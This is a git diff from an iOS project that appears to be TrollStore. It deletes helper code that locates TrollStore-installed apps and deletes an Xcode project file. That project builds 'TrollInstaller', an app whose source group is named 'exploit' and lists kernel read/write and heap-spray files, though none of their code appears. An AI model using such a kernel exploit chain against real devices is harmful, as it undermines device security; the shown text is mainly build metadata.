diff --git a/.gitignore b/.gitignore index 2663f57..74c8862 100644 --- a/.gitignore +++ b/.gitignore @@ -4,5 +4,6 @@ out/ packages/ xcuserdata .vscode -pwnify_compiled -InstallerVictim.ipa \ No newline at end of file +Pwnify/pwnify +InstallerVictim.ipa +_build \ No newline at end of file diff --git a/Helper/Shared.h b/Helper/Shared.h deleted file mode 100644 index d224e1f..0000000 --- a/Helper/Shared.h +++ /dev/null @@ -1,7 +0,0 @@ -#import "CoreServices.h" - -NSArray* trollStoreInstalledAppBundlePaths(); -NSArray* trollStoreInstalledAppContainerPaths(); -NSString* trollStorePath(); -NSString* trollStoreAppPath(); -LSApplicationProxy* findPersistenceHelperApp(void); \ No newline at end of file diff --git a/Helper/Shared.m b/Helper/Shared.m deleted file mode 100644 index af778dd..0000000 --- a/Helper/Shared.m +++ /dev/null @@ -1,91 +0,0 @@ -@import Foundation; -#import "CoreServices.h" -#import - -NSArray* trollStoreInstalledAppContainerPaths() -{ - NSMutableArray* appContainerPaths = [NSMutableArray new]; - - NSString* appContainersPath = @"/var/containers/Bundle/Application"; - - NSError* error; - NSArray* containers = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:appContainersPath error:&error]; - if(error) - { - NSLog(@"error getting app bundles paths %@", error); - } - if(!containers) return nil; - - for(NSString* container in containers) - { - NSString* containerPath = [appContainersPath stringByAppendingPathComponent:container]; - BOOL isDirectory = NO; - BOOL exists = [[NSFileManager defaultManager] fileExistsAtPath:containerPath isDirectory:&isDirectory]; - if(exists && isDirectory) - { - NSString* trollStoreMark = [containerPath stringByAppendingPathComponent:@"_TrollStore"]; - if([[NSFileManager defaultManager] fileExistsAtPath:trollStoreMark]) - { - NSString* trollStoreApp = [containerPath stringByAppendingPathComponent:@"TrollStore.app"]; - if(![[NSFileManager defaultManager] fileExistsAtPath:trollStoreApp]) - { - [appContainerPaths addObject:containerPath]; - } - } - } - } - - return appContainerPaths.copy; -} - -NSArray* trollStoreInstalledAppBundlePaths() -{ - NSMutableArray* appPaths = [NSMutableArray new]; - for(NSString* containerPath in trollStoreInstalledAppContainerPaths()) - { - NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:containerPath error:nil]; - if(!items) return nil; - - for(NSString* item in items) - { - if([item.pathExtension isEqualToString:@"app"]) - { - [appPaths addObject:[containerPath stringByAppendingPathComponent:item]]; - } - } - } - return appPaths.copy; -} - -NSString* trollStorePath() -{ - NSError* mcmError; - MCMAppContainer* appContainer = [objc_getClass("MCMAppContainer") containerWithIdentifier:@"com.opa334.TrollStore" createIfNecessary:NO existed:NULL error:&mcmError]; - if(!appContainer) return nil; - return appContainer.url.path; -} - -NSString* trollStoreAppPath() -{ - return [trollStorePath() stringByAppendingPathComponent:@"TrollStore.app"]; -} - -LSApplicationProxy* findPersistenceHelperApp(void) -{ - __block LSApplicationProxy* outProxy; - [[LSApplicationWorkspace defaultWorkspace] enumerateApplicationsOfType:1 block:^(LSApplicationProxy* appProxy) - { - if(appProxy.installed && !appProxy.restricted) - { - if([appProxy.bundleURL.path hasPrefix:@"/private/var/containers"]) - { - NSURL* trollStorePersistenceMarkURL = [appProxy.bundleURL URLByAppendingPathComponent:@".TrollStorePersistenceHelper"]; - if([trollStorePersistenceMarkURL checkResourceIsReachableAndReturnError:nil]) - { - outProxy = appProxy; - } - } - } - }]; - return outProxy; -} \ No newline at end of file diff --git a/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.pbxproj b/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.pbxproj deleted file mode 100644 index 0fa663d..0000000 --- a/Installer/TrollInstaller/TrollInstaller.xcodeproj/project.pbxproj +++ /dev/null @@ -1,486 +0,0 @@ -// !$*UTF8*$! -{ - archiveVersion = 1; - classes = { - }; - objectVersion = 55; - objects = { - -/* Begin PBXBuildFile section */ - 8C4D6A3528C17B010004DEA4 /* unarchive.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C4D6A3428C17B010004DEA4 /* unarchive.m */; }; - 8C7E16FF28B24C0000D9D33E /* TrollStore.tar in Resources */ = {isa = PBXBuildFile; fileRef = 8C7E16FE28B24C0000D9D33E /* TrollStore.tar */; }; - 8CDF7C4928AE47A200837105 /* kernel_rw.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3928AE47A200837105 /* kernel_rw.c */; }; - 8CDF7C4A28AE47A200837105 /* port_utils.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3A28AE47A200837105 /* port_utils.c */; }; - 8CDF7C4B28AE47A200837105 /* IOGPU.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3B28AE47A200837105 /* IOGPU.c */; }; - 8CDF7C4C28AE47A200837105 /* spray.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3D28AE47A200837105 /* spray.c */; }; - 8CDF7C4D28AE47A200837105 /* mcast.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3E28AE47A200837105 /* mcast.c */; }; - 8CDF7C4E28AE47A200837105 /* kernel_base.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3F28AE47A200837105 /* kernel_base.c */; }; - 8CDF7C4F28AE47A200837105 /* IOSurfaceRoot.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */; }; - 8CDF7C5028AE47A200837105 /* necp.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4128AE47A200837105 /* necp.c */; }; - 8CDF7C5128AE47A200837105 /* exploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4828AE47A200837105 /* exploit.c */; }; - 8CE2BD2528AD5D710058FBAD /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2428AD5D710058FBAD /* AppDelegate.m */; }; - 8CE2BD2828AD5D710058FBAD /* SceneDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */; }; - 8CE2BD2B28AD5D710058FBAD /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2A28AD5D710058FBAD /* ViewController.m */; }; - 8CE2BD2E28AD5D720058FBAD /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2C28AD5D720058FBAD /* Main.storyboard */; }; - 8CE2BD3028AD5D730058FBAD /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */; }; - 8CE2BD3328AD5D730058FBAD /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */; }; - 8CE2BD3628AD5D730058FBAD /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD3528AD5D730058FBAD /* main.m */; }; - 8CE2BD7428AD5E060058FBAD /* KernelManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD7228AD5E060058FBAD /* KernelManager.m */; }; - 8CE2BD7728AD5E1A0058FBAD /* kutil.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD7528AD5E1A0058FBAD /* kutil.m */; }; -/* End PBXBuildFile section */ - -/* Begin PBXFileReference section */ - 8C4D6A3428C17B010004DEA4 /* unarchive.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = unarchive.m; sourceTree = ""; }; - 8C4D6A3628C17B0F0004DEA4 /* unarchive.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = unarchive.h; sourceTree = ""; }; - 8C4D6A3728C17B830004DEA4 /* archive_entry.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = archive_entry.h; sourceTree = ""; }; - 8C4D6A3828C17B830004DEA4 /* archive.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = archive.h; sourceTree = ""; }; - 8C7E16FE28B24C0000D9D33E /* TrollStore.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; name = TrollStore.tar; path = ../../../_compile/out/TrollStore.tar; sourceTree = ""; }; - 8CDF7C3528AE47A200837105 /* kernel_base.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_base.h; sourceTree = ""; }; - 8CDF7C3628AE47A200837105 /* xpaci.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = xpaci.h; sourceTree = ""; }; - 8CDF7C3728AE47A200837105 /* necp.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = necp.h; sourceTree = ""; }; - 8CDF7C3828AE47A200837105 /* IOSurfaceRoot.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOSurfaceRoot.h; sourceTree = ""; }; - 8CDF7C3928AE47A200837105 /* kernel_rw.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_rw.c; sourceTree = ""; }; - 8CDF7C3A28AE47A200837105 /* port_utils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = port_utils.c; sourceTree = ""; }; - 8CDF7C3B28AE47A200837105 /* IOGPU.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOGPU.c; sourceTree = ""; }; - 8CDF7C3C28AE47A200837105 /* exploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = exploit.h; sourceTree = ""; }; - 8CDF7C3D28AE47A200837105 /* spray.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = spray.c; sourceTree = ""; }; - 8CDF7C3E28AE47A200837105 /* mcast.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = mcast.c; sourceTree = ""; }; - 8CDF7C3F28AE47A200837105 /* kernel_base.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_base.c; sourceTree = ""; }; - 8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOSurfaceRoot.c; sourceTree = ""; }; - 8CDF7C4128AE47A200837105 /* necp.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = necp.c; sourceTree = ""; }; - 8CDF7C4228AE47A200837105 /* iokit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = ""; }; - 8CDF7C4328AE47A200837105 /* IOGPU.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOGPU.h; sourceTree = ""; }; - 8CDF7C4428AE47A200837105 /* port_utils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = port_utils.h; sourceTree = ""; }; - 8CDF7C4528AE47A200837105 /* kernel_rw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_rw.h; sourceTree = ""; }; - 8CDF7C4628AE47A200837105 /* mcast.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = mcast.h; sourceTree = ""; }; - 8CDF7C4728AE47A200837105 /* spray.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = spray.h; sourceTree = ""; }; - 8CDF7C4828AE47A200837105 /* exploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = exploit.c; sourceTree = ""; }; - 8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = TrollInstaller.app; sourceTree = BUILT_PRODUCTS_DIR; }; - 8CE2BD2328AD5D710058FBAD /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; }; - 8CE2BD2428AD5D710058FBAD /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; }; - 8CE2BD2628AD5D710058FBAD /* SceneDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SceneDelegate.h; sourceTree = ""; }; - 8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SceneDelegate.m; sourceTree = ""; }; - 8CE2BD2928AD5D710058FBAD /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = ""; }; - 8CE2BD2A28AD5D710058FBAD /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = ""; }; - 8CE2BD2D28AD5D720058FBAD /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; - 8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; - 8CE2BD3228AD5D730058FBAD /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; - 8CE2BD3428AD5D730058FBAD /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; - 8CE2BD3528AD5D730058FBAD /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; - 8CE2BD7228AD5E060058FBAD /* KernelManager.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelManager.m; sourceTree = ""; }; - 8CE2BD7328AD5E060058FBAD /* KernelManager.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelManager.h; sourceTree = ""; }; - 8CE2BD7528AD5E1A0058FBAD /* kutil.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kutil.m; sourceTree = ""; }; - 8CE2BD7628AD5E1A0058FBAD /* kutil.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kutil.h; sourceTree = ""; }; -/* End PBXFileReference section */ - -/* Begin PBXFrameworksBuildPhase section */ - 8CE2BD1D28AD5D710058FBAD /* Frameworks */ = { - isa = PBXFrameworksBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - runOnlyForDeploymentPostprocessing = 0; - }; -/* End PBXFrameworksBuildPhase section */ - -/* Begin PBXGroup section */ - 8C4D6A3128C17A490004DEA4 /* headers */ = { - isa = PBXGroup; - children = ( - 8C4D6A3728C17B830004DEA4 /* archive_entry.h */, - 8C4D6A3828C17B830004DEA4 /* archive.h */, - ); - path = headers; - sourceTree = ""; - }; - 8CDF7C3428AE47A200837105 /* exploit */ = { - isa = PBXGroup; - children = ( - 8CDF7C3528AE47A200837105 /* kernel_base.h */, - 8CDF7C3628AE47A200837105 /* xpaci.h */, - 8CDF7C3728AE47A200837105 /* necp.h */, - 8CDF7C3828AE47A200837105 /* IOSurfaceRoot.h */, - 8CDF7C3928AE47A200837105 /* kernel_rw.c */, - 8CDF7C3A28AE47A200837105 /* port_utils.c */, - 8CDF7C3B28AE47A200837105 /* IOGPU.c */, - 8CDF7C3C28AE47A200837105 /* exploit.h */, - 8CDF7C3D28AE47A200837105 /* spray.c */, - 8CDF7C3E28AE47A200837105 /* mcast.c */, - 8CDF7C3F28AE47A200837105 /* kernel_base.c */, - 8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */, - 8CDF7C4128AE47A200837105 /* necp.c */, - 8CDF7C4228AE47A200837105 /* iokit.h */, - 8CDF7C4328AE47A200837105 /* IOGPU.h */, - 8CDF7C4428AE47A200837105 /* port_utils.h */, - 8CDF7C4528AE47A200837105 /* kernel_rw.h */, - 8CDF7C4628AE47A200837105 /* mcast.h */, - 8CDF7C4728AE47A200837105 /* spray.h */, - 8CDF7C4828AE47A200837105 /* exploit.c */, - ); - path = exploit; - sourceTree = ""; - }; - 8CE2BD1728AD5D710058FBAD = { - isa = PBXGroup; - children = ( - 8CE2BD2228AD5D710058FBAD /* TrollInstaller */, - 8CE2BD2128AD5D710058FBAD /* Products */, - ); - sourceTree = ""; - }; - 8CE2BD2128AD5D710058FBAD /* Products */ = { - isa = PBXGroup; - children = ( - 8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */, - ); - name = Products; - sourceTree = ""; - }; - 8CE2BD2228AD5D710058FBAD /* TrollInstaller */ = { - isa = PBXGroup; - children = ( - 8C4D6A3128C17A490004DEA4 /* headers */, - 8CDF7C3428AE47A200837105 /* exploit */, - 8CE2BD2328AD5D710058FBAD /* AppDelegate.h */, - 8CE2BD2428AD5D710058FBAD /* AppDelegate.m */, - 8CE2BD2628AD5D710058FBAD /* SceneDelegate.h */, - 8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */, - 8CE2BD2928AD5D710058FBAD /* ViewController.h */, - 8CE2BD2A28AD5D710058FBAD /* ViewController.m */, - 8CE2BD7328AD5E060058FBAD /* KernelManager.h */, - 8CE2BD7228AD5E060058FBAD /* KernelManager.m */, - 8CE2BD7628AD5E1A0058FBAD /* kutil.h */, - 8CE2BD7528AD5E1A0058FBAD /* kutil.m */, - 8C4D6A3628C17B0F0004DEA4 /* unarchive.h */, - 8C4D6A3428C17B010004DEA4 /* unarchive.m */, - 8CE2BD2C28AD5D720058FBAD /* Main.storyboard */, - 8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */, - 8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */, - 8CE2BD3428AD5D730058FBAD /* Info.plist */, - 8CE2BD3528AD5D730058FBAD /* main.m */, - 8C7E16FE28B24C0000D9D33E /* TrollStore.tar */, - ); - path = TrollInstaller; - sourceTree = ""; - }; -/* End PBXGroup section */ - -/* Begin PBXNativeTarget section */ - 8CE2BD1F28AD5D710058FBAD /* TrollInstaller */ = { - isa = PBXNativeTarget; - buildConfigurationList = 8CE2BD3928AD5D730058FBAD /* Build configuration list for PBXNativeTarget "TrollInstaller" */; - buildPhases = ( - 8CE2BD1C28AD5D710058FBAD /* Sources */, - 8CE2BD1D28AD5D710058FBAD /* Frameworks */, - 8CE2BD1E28AD5D710058FBAD /* Resources */, - ); - buildRules = ( - ); - dependencies = ( - ); - name = TrollInstaller; - productName = TrollInstaller; - productReference = 8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */; - productType = "com.apple.product-type.application"; - }; -/* End PBXNativeTarget section */ - -/* Begin PBXProject section */ - 8CE2BD1828AD5D710058FBAD /* Project object */ = { - isa = PBXProject; - attributes = { - BuildIndependentTargetsInParallel = 1; - LastUpgradeCheck = 1340; - TargetAttributes = { - 8CE2BD1F28AD5D710058FBAD = { - CreatedOnToolsVersion = 13.4.1; - }; - }; - }; - buildConfigurationList = 8CE2BD1B28AD5D710058FBAD /* Build configuration list for PBXProject "TrollInstaller" */; - compatibilityVersion = "Xcode 13.0"; - developmentRegion = en; - hasScannedForEncodings = 0; - knownRegions = ( - en, - Base, - ); - mainGroup = 8CE2BD1728AD5D710058FBAD; - productRefGroup = 8CE2BD2128AD5D710058FBAD /* Products */; - projectDirPath = ""; - projectRoot = ""; - targets = ( - 8CE2BD1F28AD5D710058FBAD /* TrollInstaller */, - ); - }; -/* End PBXProject section */ - -/* Begin PBXResourcesBuildPhase section */ - 8CE2BD1E28AD5D710058FBAD /* Resources */ = { - isa = PBXResourcesBuildPhase; - buildActionMask = 2147483647; - files = ( - 8CE2BD3328AD5D730058FBAD /* LaunchScreen.storyboard in Resources */, - 8C7E16FF28B24C0000D9D33E /* TrollStore.tar in Resources */, - 8CE2BD3028AD5D730058FBAD /* Assets.xcassets in Resources */, - 8CE2BD2E28AD5D720058FBAD /* Main.storyboard in Resources */, - ); - runOnlyForDeploymentPostprocessing = 0; - }; -/* End PBXResourcesBuildPhase section */ - -/* Begin PBXSourcesBuildPhase section */ - 8CE2BD1C28AD5D710058FBAD /* Sources */ = { - isa = PBXSourcesBuildPhase; - buildActionMask = 2147483647; - files = ( - 8CDF7C4B28AE47A200837105 /* IOGPU.c in Sources */, - 8CDF7C4C28AE47A200837105 /* spray.c in Sources */, - 8CE2BD2B28AD5D710058FBAD /* ViewController.m in Sources */, - 8CDF7C4D28AE47A200837105 /* mcast.c in Sources */, - 8CDF7C5128AE47A200837105 /* exploit.c in Sources */, - 8CDF7C4F28AE47A200837105 /* IOSurfaceRoot.c in Sources */, - 8CE2BD2528AD5D710058FBAD /* AppDelegate.m in Sources */, - 8CDF7C4A28AE47A200837105 /* port_utils.c in Sources */, - 8CDF7C5028AE47A200837105 /* necp.c in Sources */, - 8CE2BD7728AD5E1A0058FBAD /* kutil.m in Sources */, - 8CDF7C4928AE47A200837105 /* kernel_rw.c in Sources */, - 8C4D6A3528C17B010004DEA4 /* unarchive.m in Sources */, - 8CE2BD7428AD5E060058FBAD /* KernelManager.m in Sources */, - 8CDF7C4E28AE47A200837105 /* kernel_base.c in Sources */, - 8CE2BD3628AD5D730058FBAD /* main.m in Sources */, - 8CE2BD2828AD5D710058FBAD /* SceneDelegate.m in Sources */, - ); - runOnlyForDeploymentPostprocessing = 0; - }; -/* End PBXSourcesBuildPhase section */ - -/* Begin PBXVariantGroup section */ - 8CE2BD2C28AD5D720058FBAD /* Main.storyboard */ = { - isa = PBXVariantGroup; - children = ( - 8CE2BD2D28AD5D720058FBAD /* Base */, - ); - name = Main.storyboard; - sourceTree = ""; - }; - 8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */ = { - isa = PBXVariantGroup; - children = ( - 8CE2BD3228AD5D730058FBAD /* Base */, - ); - name = LaunchScreen.storyboard; - sourceTree = ""; - }; -/* End PBXVariantGroup section */ - -/* Begin XCBuildConfiguration section */ - 8CE2BD3728AD5D730058FBAD /* Debug */ = { - isa = XCBuildConfiguration; - buildSettings = { - ALWAYS_SEARCH_USER_PATHS = NO; - CLANG_ANALYZER_NONNULL = YES; - CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; - CLANG_CXX_LANGUAGE_STANDARD = "gnu++17"; - CLANG_ENABLE_MODULES = YES; - CLANG_ENABLE_OBJC_ARC = YES; - CLANG_ENABLE_OBJC_WEAK = YES; - CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; - CLANG_WARN_BOOL_CONVERSION = YES; - CLANG_WARN_COMMA = YES; - CLANG_WARN_CONSTANT_CONVERSION = YES; - CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; - CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; - CLANG_WARN_DOCUMENTATION_COMMENTS = YES; - CLANG_WARN_EMPTY_BODY = YES; - CLANG_WARN_ENUM_CONVERSION = YES; - CLANG_WARN_INFINITE_RECURSION = YES; - CLANG_WARN_INT_CONVERSION = YES; - CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; - CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; - CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; - CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; - CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; - CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; - CLANG_WARN_STRICT_PROTOTYPES = YES; - CLANG_WARN_SUSPICIOUS_MOVE = YES; - CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; - CLANG_WARN_UNREACHABLE_CODE = YES; - CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; - COPY_PHASE_STRIP = NO; - DEBUG_INFORMATION_FORMAT = dwarf; - ENABLE_STRICT_OBJC_MSGSEND = YES; - ENABLE_TESTABILITY = YES; - GCC_C_LANGUAGE_STANDARD = gnu11; - GCC_DYNAMIC_NO_PIC = NO; - GCC_NO_COMMON_BLOCKS = YES; - GCC_OPTIMIZATION_LEVEL = 0; - GCC_PREPROCESSOR_DEFINITIONS = ( - "DEBUG=1", - "$(inherited)", - ); - GCC_WARN_64_TO_32_BIT_CONVERSION = YES; - GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; - GCC_WARN_UNDECLARED_SELECTOR = YES; - GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; - GCC_WARN_UNUSED_FUNCTION = YES; - GCC_WARN_UNUSED_VARIABLE = YES; - IPHONEOS_DEPLOYMENT_TARGET = 15.5; - MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; - MTL_FAST_MATH = YES; - ONLY_ACTIVE_ARCH = YES; - SDKROOT = iphoneos; - }; - name = Debug; - }; - 8CE2BD3828AD5D730058FBAD /* Release */ = { - isa = XCBuildConfiguration; - buildSettings = { - ALWAYS_SEARCH_USER_PATHS = NO; - CLANG_ANALYZER_NONNULL = YES; - CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; - CLANG_CXX_LANGUAGE_STANDARD = "gnu++17"; - CLANG_ENABLE_MODULES = YES; - CLANG_ENABLE_OBJC_ARC = YES; - CLANG_ENABLE_OBJC_WEAK = YES; - CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; - CLANG_WARN_BOOL_CONVERSION = YES; - CLANG_WARN_COMMA = YES; - CLANG_WARN_CONSTANT_CONVERSION = YES; - CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; - CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; - CLANG_WARN_DOCUMENTATION_COMMENTS = YES; - CLANG_WARN_EMPTY_BODY = YES; - CLANG_WARN_ENUM_CONVERSION = YES; - CLANG_WARN_INFINITE_RECURSION = YES; - CLANG_WARN_INT_CONVERSION = YES; - CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; - CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; - CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; - CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; - CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; - CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; - CLANG_WARN_STRICT_PROTOTYPES = YES; - CLANG_WARN_SUSPICIOUS_MOVE = YES; - CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; - CLANG_WARN_UNREACHABLE_CODE = YES; - CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; - COPY_PHASE_STRIP = NO; - DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; - ENABLE_NS_ASSERTIONS = NO; - ENABLE_STRICT_OBJC_MSGSEND = YES; - GCC_C_LANGUAGE_STANDARD = gnu11; - GCC_NO_COMMON_BLOCKS = YES; - GCC_WARN_64_TO_32_BIT_CONVERSION = YES; - GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; - GCC_WARN_UNDECLARED_SELECTOR = YES; - GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; - GCC_WARN_UNUSED_FUNCTION = YES; - GCC_WARN_UNUSED_VARIABLE = YES; - IPHONEOS_DEPLOYMENT_TARGET = 15.5; - MTL_ENABLE_DEBUG_INFO = NO; - MTL_FAST_MATH = YES; - SDKROOT = iphoneos; - VALIDATE_PRODUCT = YES; - }; - name = Release; - }; - 8CE2BD3A28AD5D730058FBAD /* Debug */ = { - isa = XCBuildConfiguration; - buildSettings = { - ARCHS = ( - arm64e, - arm64, - ); - ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; - ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; - CODE_SIGN_STYLE = Automatic; - CURRENT_PROJECT_VERSION = 1; - DEVELOPMENT_TEAM = 3Z56NQJ65R; - GENERATE_INFOPLIST_FILE = YES; - INFOPLIST_FILE = TrollInstaller/Info.plist; - INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; - INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen; - INFOPLIST_KEY_UIMainStoryboardFile = Main; - INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; - INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; - IPHONEOS_DEPLOYMENT_TARGET = 14.0; - LD_RUNPATH_SEARCH_PATHS = ( - "$(inherited)", - "@executable_path/Frameworks", - ); - MARKETING_VERSION = 1.0; - OTHER_LDFLAGS = ( - "-framework", - IOKit, - "-larchive", - ); - PRODUCT_BUNDLE_IDENTIFIER = com.opa334.TrollInstaller; - PRODUCT_NAME = "$(TARGET_NAME)"; - SWIFT_EMIT_LOC_STRINGS = YES; - TARGETED_DEVICE_FAMILY = "1,2"; - }; - name = Debug; - }; - 8CE2BD3B28AD5D730058FBAD /* Release */ = { - isa = XCBuildConfiguration; - buildSettings = { - ARCHS = ( - arm64e, - arm64, - ); - ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; - ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; - CODE_SIGN_STYLE = Automatic; - 